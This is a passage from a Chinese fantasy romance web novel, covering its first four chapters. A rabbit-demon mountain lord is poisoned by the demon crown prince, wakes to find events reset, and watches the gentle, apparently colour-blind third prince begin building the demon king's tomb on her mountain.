《色盲妖殿下在我山头修陵后》
1. 第 1 章
清晨,姑媱山上,落日花开得正盛。满目苍翠,令人心旷神怡。
贺缃叶从漫山花海中直起腰来,手中却拿着一把小锄头。
“山君,山君,不好了!”月魄慌慌张张跑了过来。
贺缃叶提着锄头往回走,声音懒懒的:“何事如此惊慌?”
“妖王派了人来,说是要在咱们山上修建陵墓,这可如何是好?”月魄跟在一旁,急得团团转。
修陵?妖王何时看中了她的姑媱山?
“不急,我去瞧瞧。来的是何人?”贺缃叶将锄头扔给月魄。
月魄只是摇头:“奴婢不知,瞧着吓人得紧,跟那冷面阎王似的。”
“怕甚?有我在,你先将锄头收好,我去会会他。”她拍拍月魄的肩膀以示安抚。
随即,她脚尖点地,飞身而起,手心略微翻转,召出一杆银白长枪,朝着山下而去。
山下之人乌泱泱一大片,各个手持兵器,神情肃穆,瞧此阵仗确实唬人。
但她神色冷傲,毫不在意,只将沧雪枪立于身前,盯着最前方面容冷峻,不苟言笑的男人。
“敢来我姑媱山撒野,你是何人?”
“妖族太子,云青冥。”
“因何来此?”
“修妖王陵寝。”
贺缃叶冷嗤一声:“妖王寿数绵长,修的哪门子陵寝?再说我乃姑媱山山主,本山君不同意,尔等岂敢放肆?!”
她贺缃叶虽生性散漫,不喜计较,可生来胆大,丝毫不惧这些所谓的王室贵胄,平白地就要侵占他人领地,着实无理。
云青冥的脸直接黑了。他身旁的侍从呵斥道:“大胆!小小山主竟也敢与太子殿下作对,莫不是活得不耐烦了?”
贺缃叶不为所动:“本山君只知,断无平白无故跑到他人家里将主人赶走之一说。太子殿下也不懂此理?”
“呵。”云青冥眼中不耐加重,不欲与她辩驳,只微微抬了抬手。
少倾,便有士兵押着众妖,推推搡搡地走了过来,其中还包括月魄和晴山,贺缃叶的贴身女婢。
两人欲挣脱束缚,奋起反抗,却被贺缃叶的眼神制止住了。
“太子殿下只善威胁之法?”贺缃叶目光如电,眉心微拢,若是相熟之人便知晓,她生气了。
云青冥轻飘飘地启唇:“如你所见,有用不是么?”
“你!”贺缃叶很少发恼,可眼前之人短短几息便将她气个倒仰,连沧雪枪都感受到了她的怒气,嗡鸣声不断。
她横枪于胸前,声如寒玉:“你若有种,便与我单独一战。我赢了,你便带着你的人离去。”
“本君为何要同你一战?”云青冥反问。
还不等贺缃叶回答,他就接着吩咐:“全部带走。”
“慢着!”贺缃叶收枪上前一步。
“本君耐心有限,你若再横加阻拦,便将他们全杀了。”
云青冥的语气冷肃,不似玩笑,贺缃叶只得收起长枪,束手就擒。
可被抓进大牢之后,她便后悔了。
云青冥站在跟前,居高临下地睨着她,身旁的侍从一脸趾高气扬。
“冒犯殿下,罪该万死,然殿下仁慈,特赐薄酒一杯。”
手脚被缚,动弹不得,贺缃叶被灌下毒酒的那一刻,男人冷漠的眼神,似在看一只蝼蚁。
该死。
很快,她便意识涣散了,可未竟之事还有许多,实在遗憾。
只能慢慢阖上双眼。
然而,下一刻,她就被人晃醒了。
“山君,山君。”
贺缃叶睁开眼睛,眼前不是阴暗的牢房,不是致命的毒酒,而是月魄的脸。
“何事?”她还有些恍惚。
“在下云青骊,欲借山君宝地一用,不知可否?”
她循声望去,看到了一个神仪明秀,朗目疏眉的男人,男人眼眸漾着水波,长睫轻颤,声如暖玉。
贺缃叶:她没死?云青骊又是谁?和云青冥是何关系?
虽然此人看起来和善,但她这次不敢再拿姑媱山生灵作赌,只得收起长枪,暂且应下了修陵的请求。
“多谢山君。”云青骊揖了一礼。
贺缃叶:见鬼了?
直到回到自己居住的沧浪居,她还未完全回过神来。
“晴山。”
“山君有何吩咐?”一个身量高挑的女子走了进来。
她这两个侍女,藤妖月魄,机灵活泼;幻狐晴山,妥帖稳重。
“今日来者何人?”
“回山君,此人名唤云青骊,乃妖王第三子青骊君。传闻他生母早逝,自小养在妖后膝下,性格温吞绵软,不受妖王待见。”
恰在此时,月魄端着茶水进来了。
“山君,奴婢还以为三殿下是冷面阎王呢!没想到竟如此和善,还有商有量的。不过,在咱山上修陵,这也太不吉利了。”
和善?贺缃叶不置可否。至于吉不吉利,眼下也顾不上了。
她接过月魄倒的茶,喝了一口,问道:“云青冥与他是何关系?”
“先前您都对山外之事不闻不问,如今怎的关心起妖族太子了?他与三殿下自然是兄弟。”月魄满脸都是分享欲。
兄弟……
贺缃叶放下茶杯,细长的手指敲击着桌面。
为何本应是云青冥前来修陵,却突然变成了云青骊?她明明死了,可竟然又活了?
这些问题让她百思不得其解。
但眼下这些都并非重点,方才她未曾将云青骊所言听进耳中,并不知晓他的修陵计划以及众妖的去处。
“晴山,云青骊打算在哪一处修陵?”
姑媱山峰峦叠嶂,群山绵延,若是选个远些的山头倒也能互相落个清净。
“三殿下还未言明,说是要测完风水才能做决定。”晴山恭敬回道。
“他们此刻在何处?”
“奴婢瞧着他们往西去了,可要派人盯着?”
“西边?去盯着。”贺缃叶眉头轻皱,只觉不详。
“是。”晴山领命而去。
月魄一边添茶一边小声嘟囔:“山君,您怎的如此轻易便应下了三殿下的要求?怕不是咱这山要立刻拱手送人了。”
贺缃叶:只是不想再带着大家死一次。
“不会的。”她眯了眯眼。
不到半炷香的功夫,晴山便匆匆回来了。
“山君,他们朝花海去了。”
闻言,贺缃叶将手中杯子重重往桌面一放,大步走了出去,晴山和月魄连忙跟上。
落日花海旁,聚集了一众人等。
贺缃叶来时,见有人欲往花海中去,沉声问道:“你们这是做什么?”
“测个风水而已,如此紧张做甚?”对面有人低声嘀咕。
月魄欲上前理论,被贺缃叶按住了。
“渌波,不得无礼。”云青骊出声制止。
他朝着贺缃叶抱拳以示歉意
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,又开口解释:“在下瞧这花海应是费了不少心力,断不会冒犯了山君。”
贺缃叶听他语气,温润有礼,诚意十足,也不好发作,只硬邦邦地回:“你们测,我在此处看着,不会有所妨碍。”
那名唤渌波的侍从嘴皮子极快:“说得好听,还不是不相信咱们殿下。”
“退下。”云青骊声线温雅,连斥责都带上了一分暖意。
他又转过头对贺缃叶言道:“山君请自便。”
语毕,他便带着下属往花海边沿而去。
贺缃叶就这么目不转睛地盯着他们,心中却颇为诧异。
云青骊时不时低头与身旁之人说着什么,又间或蹲下身子用风水盘测试,完全不像妖族王子,倒像工匠。
“山君,方才那侍从对您那般无礼,自是得教训他一二,您为何拦着奴婢?”月魄修为不错,性子也直。
晴山敲了一下她的头:“你这性子该收收了,老是咋咋呼呼的,当心坏了山君的事。”
“晴山,不许再敲我的头!”月魄回拍了她一下。
贺缃叶颇为无奈地看着两人,开口劝道:“好了,你们别闹了。”
两人瞬间恢复了正常。
“只要不动我的花,随他怎么弄。”贺缃叶无所谓地撇撇嘴。
月魄远远望着那片青碧色花海,颇为兴奋地言道:“山君这落日花还有不到一月便可结果,届时便可吃个尽兴。”
落日果色黄芬芳,花开初时为青绿,有剧毒,果子成熟后花变为红色,有治伤奇效。
贺缃叶之所以如此紧张,皆因这落日果乃她月兔妖一族最爱之物,若是遭人破坏便不美了,再者此时花为绿色,如若不慎毒到人,怕是要算在她头上。
“回吧。”眼看着他们测得差不多了,她转身欲走。
“山君,可要继续盯着他们?”晴山在一旁问道。
“先不盯了,其他地方无所谓。”贺缃叶摆摆手,边走边吩咐,“叫小妖们都机灵些,最近莫要在山上撒野。”
“是。”
“对了。”贺缃叶又想起一事,“去查一查太子云青冥。”
“是。”晴山虽不知自家主子为何要如此吩咐,但仍是应下了并未多问。
回到沧浪居,贺缃叶开始处理内务。
这偌大的姑媱山,各类妖没有上万也有几千,平日总有些打架斗殴磕磕碰碰,她虽不必事事亲力亲为,但也得做到心中有数。
“山君,枣树妖和熊妖过几日成亲,他们邀请您届时去参加,可要回绝?”晴山在一旁矮几上边整理奏章边问。
“不必,我去一趟便是。”贺缃叶笔走龙蛇,嘴也未闲着。
“是。”
“黑石妖偷了虎妖两颗兽丹,两人大打出手,各执一词,这种小事也呈上来?难不成他们以为山君您很闲?”月魄翻了半天,尽是些鸡毛蒜皮之事,随口抱怨。
贺缃叶头也不抬,快速阅览:“你自己看着办,不必知会我。”
“好~”小丫头拉长了语调。
三人有条不紊,各司其职,一上午过去,终是忙完了。
晴山将批好的奏章放好,随后月魄将桌面收拾干净,两人便出去做饭了。
贺缃叶最爱之物是落日果,但一年只有一季,其他时候皆正常进食。
可她们走到门口,又回来了。
“怎么了?”贺缃叶看着去而复返的两人不解问道。
“山君,三殿下求见。”
2. 第 2 章
云青骊来了?
贺缃叶从屋内走出,一眼便看到院子里的颀长温雅的男子。
她走近两步,语气疏离客气:“三殿下可测完了?”
“已勘测完毕,特来相告山君。”
“选中何处?”
“有三处风水都不错,忘忧峰,卧龙峰和苍黎峰。”
“苍黎不行,其他任选。”闻言,贺缃叶立即接道。
“为何不行?那花海旁就正合适。”云青骊身旁那侍从又插话了。
“那花海是山君亲手所种,你们莫要欺人太甚!”月魄忍不住回了句嘴。
“渌波,你若再无礼,便自行回宫去。”云青骊侧头教训着属下,睫毛在眼下投出一片阴影。
“属下错了。”渌波闭上嘴,不再言语。
云青骊对着贺缃叶道歉:“下属冒犯,还望山君海涵。苍黎乃山君所住之峰,在此修陵确实不妥。”
贺缃叶算是看明白了,此人借着侍从之口,接二连三地试探自己底线,看似礼貌周全,实则表里不一。
她懒得虚与委蛇,只甩出两字:“所以?”
“还请山君赐下一容身之所,剩余两峰在下还需仔细比对,何况往后修陵少不得要宿在此处。”
还想住这儿?如此毫无眼色之人真是平生罕见,贺缃叶差点气笑。
“三殿下,我这山上荆榛满目,皆是身份低微的小妖,若住在此处,届时唐突了您,怕是万死难赎。”
“在下不会扰了此间修行,山君大可放心。既是来修陵,便也不会介意辛劳,何况,这山上风景甚好。”
若说这云青骊没有其他心思,贺缃叶绝不信。
“三殿下还是回宫过夜吧,虽然不与我同住一处,但总归是一座山,还是莫要引人误会。”
“修陵本就辛苦,为何还要殿下跑来跑去的……”渌波又开始嘀嘀咕咕了。
云青骊斜了他一眼,随即温声道:“是我考虑不周,唐突山君了。午后我再上山测量数据,定下来便遣人告知山君。”
“三殿下请便。”
还算他有点自知之明,贺缃叶颇为敷衍地说完,又觉得落人话柄不太好,便顺带说了句:“若需暂时歇息,我会为殿下准备好就近的厢房。”
“有劳山君。”
云青骊带着自己的人离开了。
“山君,这三殿下竟然这般好说话?也没有一丝架子,平易近人得很,怪哉!”月魄关上院门,十分摸不着头脑。
“太山之高,背而弗见;秋毫之末,视之可察。月魄,此乃山君所教,你还不明白?”晴山一脸恨铁不成钢。
“你的意思是三殿下是装的?”
“若非有心,他为何每次都等到那小厮说完才不痛不痒地责骂几句?想来那便是他内心所想。”
晴山说完,瞟了一眼贺缃叶。
“你有话想问?”贺缃叶捕捉到她的眼神。
“奴婢不太理解,为何山君不愿他们留宿却又为其准备厢房?”
“他们勘测修建总得有个歇息之处,只要不在山上过夜便是。我若严词拒绝他们,日后怕是会有暗箭,还是留些余地地好。”
晴山垂首,双手交叉在腹前:“还是山君想得周到。”
“不过,不管他是真心还是假意,都与本山君无关。”
“被他们耽误许久,奴婢都饿了。”月魄的脸都皱成了一团,她拉着晴山往外走,“咱俩做饭去。”
两人去了灶房。
贺缃叶站到窗边,看着山下离去的模糊人影微微出神。
云青骊带着人走到山脚,一辆由孰湖兽拉的车正停在路旁,车前站着一个男子,他见云青骊归来,连忙迎了上去:“殿下。”
“走吧,回宫。”
“殿下此行可还顺利?”
“尚算顺利。”云青骊说完便上了兽车。
那男子观自家主子脸色,说不上多高兴,但也不算难看。
“缟羽,你是没见着,殿下对那姑媱山山君已是礼遇有加,可那女人一点不给殿下好脸色,处处与殿下为难。若非殿下不允,便是出兵踏平这山又何妨?殿下金尊玉贵,龙血凤髓,何曾受过这种气?”渌波噼里啪啦说了一大堆,字里行间皆是不满。
缟羽正准备问个仔细,车上传来声音:“回宫。”
两人便歇了声,不敢再说话。
兽车一路往前,速度极快,不多时便到了妖都王宫,向着烈天殿而去。
妖王云玄天有三子一女,大王子云青莲,二王女云青黛,三王子云青骊,四王子云青冥,皆未成亲,故四人都居于宫中。
云青骊自小长在妖后白浅云膝下,故而住在她宫中,但如今办差归来,自是要先去回禀妖王。
“殿下,王上此刻应是在楚妃处用膳,可要去承露殿?”缟羽隔着帘子在外问道。
云青骊掀帘的手一顿,又放了下去:“去母后那儿吧。”
“是。”兽车一路疾驰,朝着两仪殿驶去。
云青骊进门之时,闻到了食物的香气。
“儿臣见过母后。”他走近后行礼。
桌边坐着一位雍容典雅的女子,正是妖后白浅云。她放下碗筷,连连招手:“骊儿回来了,快来用膳。”
“多谢母后。”云青骊坐了下来,有侍女端上碗筷。
白浅云边吃边与他闲话。
“可去见过你父王了?”
“还未,想来父王此刻应是在承露殿同楚妃和四弟用膳,儿臣便先来母后这儿了。”
白浅云目光一顿,但似乎是已经习惯了,脸上表情半分未变。
“晚些时候再去也不急。”她用得差不多,拿帕子擦了擦嘴,“对了骊儿,你一贯不爱理会政事,这回怎的主动揽下修陵一事?”
云青骊咽下口中食物,拿筷子的手顿在桌面,未曾接话,气氛一时有些凝滞。
“可是为了你母妃?”白浅云轻声问道。
“母后可会觉得儿臣不识好歹?”云青骊彻底没了用膳的心思。
见他不再进食,白浅云便示意侍女将膳食撤下,上了茶。
她一边倒茶一边感慨:“只是觉得你长大了。你母妃是个妙人儿,你若是想做什么便放手去做,母后支持你。”
“多谢母后。”云青骊将倒好的茶放了一杯在她跟前。
两人又聊了几句,白浅云便有些困乏了。
“母后好生歇息,儿臣去寻父王。”
云青骊刚出大殿,缟羽迎了上来:“殿下,王上听说您回来了,召您前去。”
“走吧。”
烈天殿中,妖王云玄天端坐于王座之上。他看着自外走进来的三儿子,眉头轻微地皱了一下。
“儿臣见过父王。”云青骊掀起袍子单膝下跪。
妖王不怒自威,声音凛然:“起来吧。见过你母后了?“
“是,儿臣刚陪母后用完午膳。”
”差事办得如何?”
“回禀父王,儿臣已测完姑媱山风水,选定了最佳修陵之处,晚些时候再上山确认一番,明日便可开始动工。”
“做得不错。”妖王脸色缓和不少,“动工不急,待祭司选个吉日再开工。”
“是。”
“下去吧。”妖王挥了挥手,似是不愿再多说。
“儿臣告退。”
云青骊退出殿外,回了自己的曜日殿。
“殿下,王上可有为难于您?”渌波颇为忧心地问。
“并未。”云青骊不甚在意地回答,随即在书桌前将姑媱山地图摊开,仔细观察。
缟羽在一旁问道:“殿下,这图纸可有何不妥?”
“图纸无甚不妥。”云青骊略略摇头,指着一处,“只不过,此处,有些问题。”
“殿下此言何意?”缟羽今日没有上山,自是不知
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其中内情。
“此乃苍黎峰,是一处花海。但今日勘测之时,我发现花海有蹊跷。”
“殿下可知为何?”
“尚且不知。”云青骊眼神微闪,想起今日那女人紧张的模样,虽不明显,但他感受到了。
渌波借机抱怨:“今日殿下说这苍黎峰风水上佳,那女人便说此处不行,我看就是有鬼。”
“渌波。”云青骊偏过头,认真地瞧着他,“苍黎乃贺山君居所,在此修陵的确有所冒犯,莫要再说此话。今日你频频出言不逊,往后若是再如此,我便不带你出门了。”
渌波立即不敢放肆,他低着头认错:“属下只是看不惯她们如此对待殿下...”
“殿下放心,属下会规诫好他。”缟羽及时解围,将渌波拉了出去。
云青骊望着图纸微微出神。
他不知自己所做是否正确,但内心确想要一个答案,希望能在姑媱山上寻到。
而被渌波碎碎念不知好歹的女人此刻正在午休。
每日处理好山头事务,用完午膳后,贺缃叶都要小憩片刻。
但她今日有些睡不着。翻来覆去半个时辰,还是起身了。
“晴山,什么时辰了?”她边穿衣裳边问。
“回山君,未时末了。”
“山下可有动静?”
“暂无。”
那个姓云的不是说午后上山勘测,这是不来了?
贺缃叶眉尾上扬,吩咐道:“去把卧龙峰的屋子收拾几间,若是云青骊来了,便让他们在那里歇脚。”
“为何是卧龙峰?”
“只是想让他们住远些罢了。”
她的苍黎峰在西,卧龙峰在东,是这山上最远的两处地方,免得那姓云的总是烦她。
“是。”晴山应下,又想到一事,“山君让奴婢查太子云青冥,有眉目了。”
“说。”
“太子云青冥,乃妖王宠妃楚栾华所出,自小金尊玉贵,享尽荣宠,性子冷酷,骄矜自傲。大将军楚延维乃楚妃之兄,战功赫赫,颇受妖王器重。”
难怪他那般行事,背后靠山确实强大。
但贺缃叶一想到那杯鸩酒,便气不顺,往后定要寻个机会,就算不能杀了他,也得好好搓搓他的锐气,不过眼下还是韬光养晦地好。
晴山走后,她打算待在屋子里看书。原本计划着去巡视一番,看看山上有无不和谐之处,但她估摸着云青骊应快来了,便懒得出门。
今日天气晴好,靠在榻上看会书倒也惬意,只是看了一会儿睡意竟上来了。
正朦朦胧胧之际,月魄进门的声音将她惊醒了。
她放下手中的书,坐直身子:“发生何事?”
“回山君,山下来人了。”
“云青骊?”来了便来了,难不成还要她倒履相迎?
谁知月魄的头摇得如同拨浪鼓:“不是,来的是太子云青冥,说是替妖王来视察一番修陵之地。”
“你说来的是谁?”贺缃叶不敢相信自己的耳朵,声音也不自觉地紧张了起来。
“太子云青冥啊,瞧着也是个俊俏的,就是气质冷了些...”偏生月魄还在评头论足。
贺缃叶呵止她:“休要胡言!”
若是被有心人听了去,他们可吃不了兜着走,毕竟贺缃叶已经见识过云青冥的心性与手段了,便是自己,虽然也生性冷淡,但尚且做不到他那般狠心绝情。
月魄被吓得一哆嗦:“山...山君,奴婢可是做错事了?”
“不是什么大事,以后切不可在背后非议他人。”贺缃叶也反应过来,觉得自己好像过于激动,便恢复了正常的语调。
“是,奴婢记住了。”月魄瞬间乖巧了许多。
贺缃叶深吸一口气,站起了身。
如今还不能得罪他,此番谨小慎微一些定然没错,她不信,这云青冥还能再一次杀了她。
3. 第 3 章
“晴山可回来了?”
“回山君,应是快回来了,奴婢去外头瞧瞧。”
贺缃叶挥挥手:“你让她同我一起去迎接太子。”她怕自己一个没看住,有人又要抓住她们威胁自己,还是带在身边为好。
“好,山君稍候,奴婢去去便来。”月魄像风一般跑走了。
没过多久,晴山和月魄便一同进了院子,贺缃叶理了理衣服,带着她们朝山下走去。
山下停着一辆极其华丽的兽车,车边站满了人。
“来者何人?”车前一蓝衣侍者尖着嗓子问道。
贺缃叶抱拳,声音尽量平稳:“姑媱山山君贺缃叶见过太子殿下。”
“原是贺山君。”侍者一脸恍然大悟,复又话锋一转,“只是来得这般迟,倒叫殿下一番好等。”
贺缃叶暗自握拳,脸上却不见任何不虞:“觐见太子殿下自是要好好收拾一番,在下来迟,还请殿下恕罪。”
“算了。”车内传来冷沉的男声,“下不为例。”
贺缃叶忍住上去给他一拳的冲动,微敛着眉,语调不卑不亢:“多谢殿下。”
“听说三王兄已选好址,本君来瞧瞧风水如何。”
话音落地,车前的帘子被掀开,那张让贺缃叶永生难忘的脸露了出来。
“殿下请。”
云青冥自车上下来,瞧见贺缃叶的那一瞬间愣了愣神,随即问道:“本君可是在何处见过你?”
“不曾。”贺缃叶立即反驳,不管他是不是记得先前之事,眼下她实在不想同他扯上任何关系。
比起云青冥,她觉得云青骊的脸都顺眼了许多。
云青冥只是随口一问,见贺缃叶否认,便也未再继续问下去。
“三殿下选中了卧龙峰和忘忧峰两处,尚在比对,今日他会派人上山再测一次风水。”
“在何处?带本宫去看看。”云青冥朝山上走去。
贺缃叶跟在他身旁:“殿下请。”
一行人朝山上走,幸而此两峰都在离主峰颇远之处,倒是无甚影响。只是往回走时,有人竟眼尖看到了那片花海,于是云青冥便产生了些许兴趣。
“落日花?”
“是。”
“据说此花有疗伤奇效,生长环境艰难,此处竟然有如此大一片。”
“此乃在下费尽心血,亲手所种,故而才长势喜人。”
贺缃叶佯装听不懂他的弦外之音,只陈述事实,惹得云青冥频频皱眉。
想要她的花,做梦。
云青冥正欲说些什么,却瞧见自山下上来一队人马,他止住话头,看向来人。
“太子怎的来了?”云青骊走近后,面露不解。
“三王兄有所不知,父王让本君来瞧瞧这山上风水如何,眼下已经看完了,既然王兄有正事要办,那我便不打扰了。”
“太子慢走。”云青骊拱手作别。
一行人声势浩大地来,又浩浩荡荡地走了。贺缃叶送走了这尊大佛,只觉心累,便懒得再应对云青骊。
“三殿下自便,我还有要事,先行告辞了。”
“山君且慢。”
云青骊永远都是不疾不徐,让人如沐春风。
贺缃叶向他投去疑惑的眼神。
“山君莫要误会,在下是想问,休憩之所在何处?”今日一口气测完,只等祭司看好日子再来动工便是。
“晴山。”贺缃叶喊道。
晴山立刻走上前,弯腰恭敬回应:“诸位贵客请随奴婢来。”
云青骊离开,贺缃叶终于清净了。
她回到屋子,仍是心有余悸。
虽然恨不得冲上去给那云青冥一刀,但若无一招致胜的把握,断不可露出半点端倪。至于那云青骊,看起来倒像谦谦君子,温润如玉,两人一点儿都不像兄弟。
算了,那两人如何,她尚懒得理会,只要他们不动她的花,其他事都无所谓。
一炷香后,晴山回来了,她一向沉稳,喜怒不形于色,但此刻却面露愁容。
“山君,咱这山上,总感觉要不太平了。”
“有我在,你怕甚?”贺缃叶反问。
“奴婢自是不怕,只是觉得很麻烦。”
“无妨,他们占了我的地,总不能以怨报德吧?”贺缃叶不敢肯定,倒像是在安慰自己。
她不想再说这个话题,便起身提了个大竹篮,拿了剪子,准备去摘些花。
“山君,时辰不早了,不如明早再去?”
“左右无事,明日还有明日之事,你们不用跟着我,去忙自己的。”
“是。”
眼下是薄暮时分,花海在残阳的映照之下熠熠生辉,而这又是她最欢喜之事,自是毫不犹豫。
待采完一满篮,天色已有些暗了。一身碧衣的她自花海中出来之时,意外撞见了一人。
“抱歉,山君衣色与这花海颇为相近,在下一时未曾看清,失礼了。”云青骊温声赔不是。
“无碍。”贺缃叶只淡淡地拂了拂衣裳,便转移了话题,“殿下不是在测风水吗?怎的来此处了?”
“已测完了,卧龙峰前有照后有靠,地形自北向南升高,最具风水要求。”
“那殿下准备何时动工?”
“还未择定,祭司明日请天。”
贺缃叶点头,像修建妖王陵寝此等大事流程复杂繁琐,云青骊已算是效率极高的了。
“山君这是在采花?”云青骊瞧见她手中竹篮问道。
这不没话找话么……贺缃叶浅浅应了一声。
“此花当得起落日之名,宛若天边残霞,美不胜收。若是眼下需要人手帮忙采摘花果,在下可助山君。”
贺缃叶有些纳闷,花离落日色还有段时日呢,怎的他说得像是已经成熟了一般?
“暂时不必。”她按下心中疑虑,婉言谢绝,原本她来采花也只是为了用剧毒之花制药。
“那在下便告辞了,等动土之时再来。”
“好。”
贺缃叶心想,总算是能清净几日了,她提着篮子离开了。
而留在原地的云青骊却陷入了深思。
这落日花海之下究竟有何物?
******
姑媱山恢复了往日的宁静与热闹。
而妖族王宫中却是庄严肃穆,氛围紧张。司天监之中,祭司月琅玕正在举办请天仪式。
偌大的祭祀广场上,人满为患。妖王云玄天正站在最前方,身后跟着三子一女与众位臣工,祭司正在开坛做法。
忽见那万里无云的天空陡然暗了下来,接着狂风大作,众人都有些睁不开眼,约莫一炷香后,天空又恢复了晴朗。
“如何?”妖王沉声问道。
“启禀王上,最近一段时日皆不适宜动土,需得三日后,臣再次请天。”
妖王虽不虞,但也并未动怒,只是语气愈发冷沉:“那便如你所言。”
下首众人有面面相觑者,皆各怀心思,散了开去。
云青骊在回曜日殿的途中,遇到了云青冥。
“见过太子。”
“三王兄不必多礼。”云青冥淡淡点头,走了两步又问道,“王兄可选好址了?”
云青骊仍是客客气气的:“已经选好,只待动工。”
“那便好,父王好不容易交代的差事,王兄可要办妥了。”云青冥说完这句意味不明的话便离开了。
“不劳太子殿下忧心。”
又过了三日,祭司复请了一次天,此番倒是颇为顺利,日子定在了半月之
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后。
但在这之前,仍有许多准备要做,故而云青骊提前上山运送物料。
那一日,恰是枣树妖和熊妖的成亲礼。
贺缃叶带着晴山和月魄,去了举办仪式之处——晚月坡。
此处是姑媱山上的一处较为平坦之地,面积宽广,且有一颗千年巨树屹立于此,树上皆挂满了红色丝带,每逢山上有成亲仪式,新人都会在树上一起挂上两人的丝带,丝带系在一处,象征着矢志不渝,永结同心之意。
若往后有人变心,另一方便会来取下树上的丝带,每对丝带上都有各自的灵力,十分容易辨认。
贺缃叶自小在山上长大,幼时最爱去晚月坡看他人的成亲礼。可自从师父去世后,她便不爱凑这些热闹了。
这一次她之所以前往,皆因山上已许久没有办过成婚仪式。
晚月坡上,众妖聚集,他们脸上皆洋溢着幸福的喜悦,见贺缃叶到来,便稍稍歇了声,恭敬地朝她行礼。
“见过山君,山君万安。”
贺缃叶在最前方的椅子上坐下,不甚在意地摆了摆手:“不必多礼,今日随意。”
小妖们又欢乐地玩闹了起来,直到有人喊道:“迎新人!”
自树后走出两位身着红衣之人,女妖面容秀气,男妖高大俊朗。
“今日,小枣和大熊结为夫妇,惟愿二人往后坚贞不渝,永不离弃!”那主持场面之人是只水妖,他笑容满面道,“结丝带,祈白首!”
闻言,那对新人将旁人送上的丝带系在一处,注入灵力后,写上誓言,后远远地抛上树枝。
只见那丝带稳稳地落在枝丫上,即便有风,也不会掉落。
接下来便是喝合卺酒,之后大家一起在这坡上两两起舞,共同分享这份喜悦。
“你们俩也去玩吧。”贺缃叶对着晴山和月魄言道。毕竟她这两个侍女年纪尚小,此等场面也不必太拘着他们。
两人一脸喜色:“谢山君!”随即欢快地加入了人群。
贺缃叶难得觉着眼前之景甚是祥和。她嘴角微微上扬,心中愈发坚定,誓要护好这片乐土。
就在她思绪万千之际,一道不合时宜的声音响在耳边。
“山君,这是在举办何种仪式吗?”
她回过神,抬眸看去,是多日不见的云青骊。
“见过三殿下,殿下怎的来了?”
贺缃叶从椅子上站起来,颇为敷衍地行礼。
云青骊一身月白长袍,端得是清俊雅正,温润如玉。
“十日后动土,在下今日来运送材料。多有叨扰,还请谅解。”
贺缃叶又坐了回去:“今日山上正好有妖成亲,眼下是在庆祝。既然殿下有要事在身,还请自便。”她可不想邀请此人。
但云青骊似乎没有要走的意思。
贺缃叶见他如此,眉骨微动:“殿下?”
“抱歉,是在下失礼了。”云青骊反应过来,“我能去看看那棵树吗?”
树?贺缃叶不懂他为何有此一问,但此等要求无伤大雅,便同意了。
云青骊走到树下,却只是站着不动。贺缃叶看着他的背影,倒觉出几分孤寂之感。
她也走上前去,奇道:“殿下可是喜欢这棵树?”
“我有些好奇,为何这树上所挂丝带皆为青碧色,是你姑媱山的习俗么?”
青碧色?贺缃叶看着满树的赤色丝带陷入了沉思。
她想起来了,前几日傍晚在花海遇到云青骊时,他提出要帮自己采花,可那落日花成熟之后才会变为赤色,莫不是他有...瞀视之症?
看他真诚发问的模样,倒像是不知自己有问题。虽说瞀视对于土作一事无太大影响,但若用到彩画,则会有大隐患,他的近身侍者竟也毫无察觉?
4. 第 4 章
贺缃叶尚不知他品性,也怕说出口会招致祸事,便只挑着回答:“祈枝礼确是我姑媱山习俗。”
“此处甚好。”云青骊只说了这么一句,便离开了。
贺缃叶:?莫名其妙。
祝礼结束后,她回了沧浪居,将前几日摘的落日花都晾晒在院中。
“山君,这么多花可还够?”月魄一边帮忙翻晒一边问。
“晚些时候再去多采些。”贺缃叶随手捡起一朵花拿在手中把玩。
晴山见状立即阻止道:“山君当心,还是戴上手衣为好。”
“无碍。”贺缃叶拍拍手,“再晒个三日便差不多了。”
“要不您进屋歇会,瞧这日头有些毒辣。”
贺缃叶点点头,往屋中走去,复又想起一事:“他们的物料可运完了?”
晴山倒了杯水递给贺缃叶:“奴婢方才回来时,听见他们说物料极多,需运送好多天。”
也对,修陵之事复杂,不止要考虑范围划定,还需做好排水,打好地基,再才是修建地宫,绘制星图等等。在此之前,若物料不齐,则动土不顺。
“不管他们,咱们井水不犯河水便是。”
“是。”
“对了,晴山你可有听过瞀视之症?”
“奴婢幼时听过!”月魄翻晒完落日花,进屋来听了一嘴。
“若得此症,是否会辩色不清?”
“貌似是的。”月魄连连点头,“据说会视赤如青,视白如黑,视黄为赤等等。”
此症竟如此复杂?
贺缃叶坐在桌边,转着手中的杯子,随即指着自己的衣裳问道:“此为何种颜色?”
“自然是青碧了,山君,我跟了您这么久,可没有瞀视之症。”月魄笑道。
“那你们去找找相关书籍,最好是有治疗之法。”
晴山放低了声音,略弯着腰:“山君,莫不是您……”
“并非是我,是云青骊。”
月魄和晴山都瞪大了眼睛。
“您为何会知晓此事?”月魄急不可耐地问。
“我也是偶然发现的。今日在晚月坡,云青骊问我为何树上的丝带皆为青碧色。”
“他竟不知自己患有此症?身旁之人竟也未曾察觉吗?”
“这倒是不知了。”贺缃叶放下杯子,站了起来,“此事莫要声张,以免惹祸上身。”
“是,山君。”
十日后,卧龙峰上。
前一晚,云青骊派人来邀请贺缃叶参加动土仪式,说是修陵事关重大,请她做个见证。
她想着毕竟是自己的山头,便答应了。
今日场面盛大,守卫森严,最前方中间站着的两人是云青冥和云青骊,贺缃叶在左手边,最右边还有一个手持长杖的蒙面女子。
“殿下,一切准备就绪,只待上完香便可开始。”缟羽在一旁提醒。
“太子,少祭司,山君,请。”云青骊向几人示意。
贺缃叶心中了然,原来那女人是妖族祭司之女,月鸣珂。
她随着三人一起上前几步,将点燃的香插到了长炉之中。
随后,月鸣珂摇动手中法杖,铃铛声响起,青烟从炉中飘出,直达天际。
“焚香告神谕,烟篆接天青。”她的声音不似其气质那般清冷,反而温婉,庄重,带有一丝慈悲之意。
说完她又面向云青骊:“恭喜殿下,此乃吉兆。”
“有劳少祭司。”云青骊的声音仍是不急不缓,面上并不见明显喜悦。
贺缃叶忍不住多看了两眼那个女人,瞧着像是真有些本事的,她还以为,妖王身边的红人,多少都会有些目中无人,不料竟与她想象中大相径庭。
待敬香仪式完成,月鸣珂当众将一封卷轴交到了云青骊手中。
“殿下,此乃王陵图纸,还请妥善保管。”
“谢过少祭司。”
话音刚落,一道声音插了进来:“三王兄,父王将修陵重任交予你,可万万莫出了岔子。”
“请太子放心。”
“既然仪式已毕,本君这便回宫了。”云青冥说完看向月鸣珂,随口问道,“少祭司可要同我一道?”
月鸣珂没有拒绝,但也只是浅浅地点了下头,十分客气:“有劳太子殿下。”
